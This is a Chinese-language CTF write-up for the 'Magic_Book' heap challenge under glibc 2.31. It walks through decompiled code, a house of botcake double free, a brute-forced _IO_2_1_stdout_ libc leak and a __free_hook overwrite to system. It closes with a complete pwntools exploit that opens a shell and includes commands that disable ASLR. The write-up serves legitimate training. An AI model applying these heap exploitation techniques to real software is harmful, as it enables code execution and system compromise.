DASCTF10- Magic_Book

知识点

  1. House of bot cake
  2. 爆破_IO_2_1_stdout
  3. 劫持free_hook

程序分析

libc版本:Ubuntu GLIBC 2.31-0ubuntu9.9

一个堆的菜单题

main

菜单选择,输1进promise函数,18次malloc,大小可控

​ 输2进recall函数,10次free

​ 输9进gift函数,有个一次性uaf的漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-14h] BYREF
int *v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 0;
v5 = &v4;
start();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", v5);
v3 = *v5;
if ( *v5 != 9 )
break;
gift();
}
if ( v3 <= 9 )
{
if ( v3 == 1 )
{
Promise();
}
else if ( v3 == 2 )
{
Recall();
}
}
}
}

start

1
2
3
4
5
int start()
{
puts("This is a book of wishes");
return puts("what's your wish?");
}

menu

1
2
3
4
5
6
int menu()
{
puts("1.Promise");
puts("2.Recall");
return printf("Your choice : ");
}

gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 gift()
{
int num; // [rsp+Ch] [rbp-4h]

if ( cnt2 > 0 )
{
puts("Wrong!\n");
exit(0);
}
printf("Index: ");
num = read_num();
free(*((void **)&heap_ptr + num));
return (unsigned int)++cnt2;
}

Promise

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 Promise()
{
__int64 result; // rax
int v1; // ebx
int num; // [rsp+Ch] [rbp-14h]

if ( !cnt1 )
{
puts("Human greed is never ending!");
puts("One day you will regret");
++cnt1;
}
result = (unsigned int)cnt_p;
if ( cnt_p <= 18 )
{
printf("Size: ");
num = read_num();
if ( num > 256 )
{
puts("Wrong!\n");
exit(0);
}
v1 = cnt;
*((_QWORD *)&heap_ptr + v1) = malloc(num);
printf("Content: ");
read(0, *((void **)&heap_ptr + cnt), num);
puts("Done!\n");
++cnt;
return (unsigned int)++cnt_p;
}
return result;
}

Recall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int Recall()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

if ( cnt2 <= 0 )
puts("There is now an opportunity to withdraw, but sometimes...");
result = cnt_r;
if ( cnt_r <= 10 )
{
printf("Index: ");
result = read_num();
v1 = result;
if ( (unsigned int)result <= 0x11 )
{
if ( !*((_QWORD *)&heap_ptr + result) )
{
puts("Wrong!\n");
exit(0);
}
free(*((void **)&heap_ptr + result));
*((_QWORD *)&heap_ptr + v1) = 0LL;
return puts("Done!\n");
}
}
return result;
}

解题步骤:

1/256概率

调试时, 关闭本地地址随机化

1
2
3
$ sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space

House of botcake构造

原因:

Glibc 2.29下,tcache 增加了 key 字段, 不能简单的实现tcache-dup,需要覆盖key,才能double free

house of botcake:在填满tcache后,释放两个连续的相邻的chunk(chunk7 和chunk8),使其合并为unsorted bin。再从tcache中申请一个chunk,再释放。此时的chunk同时存在于unsorted bin和tcache bin 中,所以不会有key字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#1. house of botcake
for i in range(7):
add(0x80, 'aaaa') #0-6

add(0x80, 'aaaa') #7
add(0x80, 'aaaa') #8
add(0x80, 'aaaa') #9

for i in range(7):
free(i)

gift(8)
free(7)
add(0x80,' ') #10
free(8)

利用botcake手法,通过唯一一次UAF,使得chunk8同时位于unsorted bintcache bin,使其绕过高版本下tcache的fd存在key这一问题

此时,形成类似tcache poioning的效果

覆盖堆残留的main_arena(1/16)

1
2
3
4
5
6
7
#2. tcache poisoning--> unsorted bin
# tcache_perthread_struct: p16(0x8010)
# heap leave libc: p16(0x566d)
# unsorted bin: p16(0x5690)
add(0x50, p16(0xe66d)) #11
payload1 = b'a'*0x20 + p64(0) + p64(0x91) + p16(0x9690)
add(0x40, payload1) #12, Attacker

切割unsorted bin, 获得一块堆,残留有main_arena+96, 同时覆盖两个字节( 其中半字节需要爆破, 1/16 )

第二次申请堆,形成overlapping,使tcachenext指向堆残留处(远程下需要爆破半字节,1/16概率,所以为1/256的概率)

(需要注意的是tcache bin指向的是chunk的data部分)

img

打_IO_2_1_stdout(1/16)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#3. IO_2_1_stdout_
# _IO_2_1_stdout_ -0x43: p16(0x565d)
# tcache --> _IO_2_1_stdout_-0x33: p16(0x566d)
# _IO_2_1_stdout--leak libc
payload2 = b'a'*0x33 +p64(0xfbad1800) +p64(0)*3 +b'\x00'
add(0x80, "a") #13
add(0x80, "a") #14
add(0x80, payload2) #15

#leak libc
stdout = libc.sym['_IO_2_1_stdout_'] + 96
libc_base = u64(p.recvuntil('\x7f', timeout=0.1)[-6:].ljust(8,b'\x00'))-stdout

if libc_base == -stdout:
exit(-1)

libc_base += 0xd80
print(hex(libc_base))
system = libc_base + libc.sym['system']
print(hex(system))
__free_hook = libc_base + libc.sym['__free_hook']
print(hex(__free_hook))

在对应位置 _IO_2_1_stdout_-0x43存在一块0x7f大小的chunk

img

所以需要指向其data部分,即0x7ffff7fae66d,覆写,使得_IO_2_1_stdout_绕过限制,输出

img

之后接受libc,写地址

重利用house of botcake

1
2
3
#4. Second--house of botcke
free(13)
free(12)

释放前面构造overlappingchunktcahe bin

使再一次tcache poing成为可能

img

劫持free_hook

1
2
3
4
5
6
#5.exit_hook
payload3 = b'a'*0x20 + p64(0) + p64(0x91) + p64(__free_hook)
add(0x40, payload3) #16
add(0x80, b'/bin/sh\x00')#17
add(0x80, p64(system)) #18
free(17)

再次构造overlapping,劫持free_hook,使其修改为system

img

申请一块堆写上"/bin/sh\x00"

img

Get Shell

img

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
from ctypes import *

libc = ELF('/pwn/libc')

banary = "/pwn/pwn"
elf = ELF(banary)

#context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

def menu(choice):
ru('choice : ')
sl(str(choice))

def add(size, con):
menu(1)
ru('Size: ')
sl(str(size))
ru('Content: ')
s(con)

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def gift(index):
menu(9)
ru('Index: ')
sl(str(index))

def pwn():

#1. house of botcake
for i in range(7):
add(0x80, 'aaaa') #0-6

add(0x80, 'aaaa') #7
add(0x80, 'aaaa') #8
add(0x80, 'aaaa') #9

for i in range(7):
free(i) #1-7
gift(8)
free(7)
add(0x80,' ') #10
free(8)

#2. tcache poisoning--> unsorted bin
# tcache_perthread_struct: p16(0x8010)
# heap leave libc: p16(0x566d)
# unsorted bin: p16(0x5690)
add(0x50, p16(0x966d)) #11

payload1 = b'a'*0x20 + p64(0) + p64(0x91) + p16(0x9690)
add(0x40, payload1) #12, Attacker

#3. _IO_2_1_stdout_
# _IO_2_1_stdout_ -131-0x43: p16(0x565d)
# tcache --> _IO_2_1_stdout_ -131-0x33: p16(0x566d)
# _IO_2_1_stdout--leak libc
payload2 = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00'
add(0x80, "a") #13
add(0x80, "a") #14
add(0x80, payload2) #15

#leak libc
stdout = libc.sym['_IO_2_1_stdout_'] + 96
libc_base = u64(p.recvuntil('\x7f', timeout=0.1)[-6:].ljust(8,b'\x00'))-stdout
print(hex(libc_base))

if libc_base == -stdout:
exit(-1)

libc_base += 0xd80
print(hex(libc_base))


system = libc_base + libc.sym['system']
print(hex(system))

__free_hook = libc_base + libc.sym['__free_hook']
print(hex(__free_hook))

#4. Second--house of botcke
free(13)
free(12)

#5.exit_hook
payload3 = b'a'*0x20 + p64(0) + p64(0x91) + p64(__free_hook)
add(0x40, payload3) #16

add(0x80, b'/bin/sh\x00')#17
add(0x80, p64(system)) #18
#debug()
free(17)

pi()
'''
p=process('./pwn/pwn')
pwn()
'''
''''''
if __name__=='__main__':
while True:
p=process('/pwn/pwn')
#p = remote('106.13.218.xxx','10000')
try:
pwn()
except:
p.close()




DASCTF10- Magic_Book
http://csc8.github.io/2022/12/02/DASCTF10- Magic_Book/
作者
Csc8
发布于
2022年12月2日
许可协议